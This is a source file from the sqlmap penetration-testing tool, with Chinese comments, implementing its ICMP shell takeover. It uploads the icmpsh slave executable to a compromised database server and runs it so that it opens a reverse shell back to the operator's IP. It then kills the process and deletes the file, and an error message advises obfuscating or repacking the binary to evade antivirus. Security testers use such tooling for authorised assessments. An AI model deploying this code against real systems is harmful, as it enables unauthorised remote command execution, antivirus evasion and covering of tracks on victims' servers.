#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

# 导入所需的Python标准库
import os
import re
import socket
import time

# 导入自定义模块和函数
from extra.icmpsh.icmpsh_m import main as icmpshmaster
from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP
from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import SqlmapDataException

class ICMPsh(object):
    """
    这个类定义了调用icmpsh工具的方法,用于插件功能
    """

    def _initVars(self):
        """
        初始化类的成员变量
        """
        self.lhostStr = None  # 本地主机地址字符串
        self.rhostStr = None  # 远程主机地址字符串
        self.localIP = getLocalIP()  # 获取本地IP地址
        self.remoteIP = getRemoteIP() or conf.hostname  # 获取远程IP地址,如果获取失败则使用配置的主机名
        # 设置icmpsh slave程序的路径
        self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_"))

    def _selectRhost(self):
        """
        选择远程主机地址
        返回: 用户输入的远程主机地址
        """
        address = None
        message = "what is the back-end DBMS address? "  # 提示用户输入数据库地址

        if self.remoteIP:
            message += "[Enter for '%s' (detected)] " % self.remoteIP  # 如果检测到远程IP,则显示默认值

        while not address:
            address = readInput(message, default=self.remoteIP)  # 读取用户输入

            if conf.batch and not address:  # 如果是批处理模式且没有提供地址,则报错
                raise SqlmapDataException("remote host address is missing")

        return address

    def _selectLhost(self):
        """
        选择本地主机地址
        返回: 用户输入的本地主机地址
        """
        address = None
        message = "what is the local address? "

        if self.localIP:
            message += "[Enter for '%s' (detected)] " % self.localIP  # 如果检测到本地IP,则显示默认值

        valid = None
        while not valid:
            valid = True
            address = readInput(message, default=self.localIP or "")  # 读取用户输入

            try:
                socket.inet_aton(address)  # 验证IP地址格式是否正确
            except socket.error:
                valid = False
            finally:
                valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None

            if conf.batch and not address:  # 批处理模式下没有地址则报错
                raise SqlmapDataException("local host address is missing")
            elif address and not valid:  # 地址格式无效则警告
                warnMsg = "invalid local host address"
                logger.warning(warnMsg)

        return address

    def _prepareIngredients(self, encode=True):
        """
        准备ICMP shell所需的参数
        """
        self.localIP = getattr(self, "localIP", None)
        self.remoteIP = getattr(self, "remoteIP", None)
        self.lhostStr = ICMPsh._selectLhost(self)  # 获取本地主机地址
        self.rhostStr = ICMPsh._selectRhost(self)  # 获取远程主机地址

    def _runIcmpshMaster(self):
        """
        在本地运行icmpsh主程序
        """
        infoMsg = "running icmpsh master locally"
        logger.info(infoMsg)

        icmpshmaster(self.lhostStr, self.rhostStr)  # 启动icmpsh主程序

    def _runIcmpshSlaveRemote(self):
        """
        在远程运行icmpsh从程序
        """
        infoMsg = "running icmpsh slave remotely"
        logger.info(infoMsg)

        # 构建命令行参数: -t指定目标IP, -d指定延迟, -b指定缓冲区大小, -s指定数据大小
        cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr)

        self.execCmd(cmd, silent=True)  # 执行命令

    def uploadIcmpshSlave(self, web=False):
        """
        上传icmpsh从程序到目标机器
        参数:
            web: 是否通过web方式上传
        返回:
            上传是否成功
        """
        ICMPsh._initVars(self)
        self._randStr = randomStr(lowercase=True)  # 生成随机字符串
        self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr  # 生成临时文件名

        # 构建远程文件完整路径
        self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase)
        self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote))

        logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote)

        if web:  # 通过web方式上传
            written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave)
        else:  # 通过其他方式上传
            written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True)

        if written is not True:
            # 上传失败的错误提示
            errMsg = "there has been a problem uploading icmpsh, it "
            errMsg += "looks like the binary file has not been written "
            errMsg += "on the database underlying file system or an AV has "
            errMsg += "flagged it as malicious and removed it. In such a case "
            errMsg += "it is recommended to recompile icmpsh with slight "
            errMsg += "modification to the source code or pack it with an "
            errMsg += "obfuscator software"
            logger.error(errMsg)

            return False
        else:
            logger.info("icmpsh successfully uploaded")
            return True

    def icmpPwn(self):
        """
        执行ICMP shell攻击的主函数
        """
        ICMPsh._prepareIngredients(self)  # 准备参数
        self._runIcmpshSlaveRemote()  # 运行远程从程序
        self._runIcmpshMaster()  # 运行本地主程序

        debugMsg = "icmpsh master exited"
        logger.debug(debugMsg)

        time.sleep(1)
        # 清理远程机器上的进程和文件
        self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True)
        time.sleep(1)
        self.delRemoteFile(self._icmpslaveRemote)
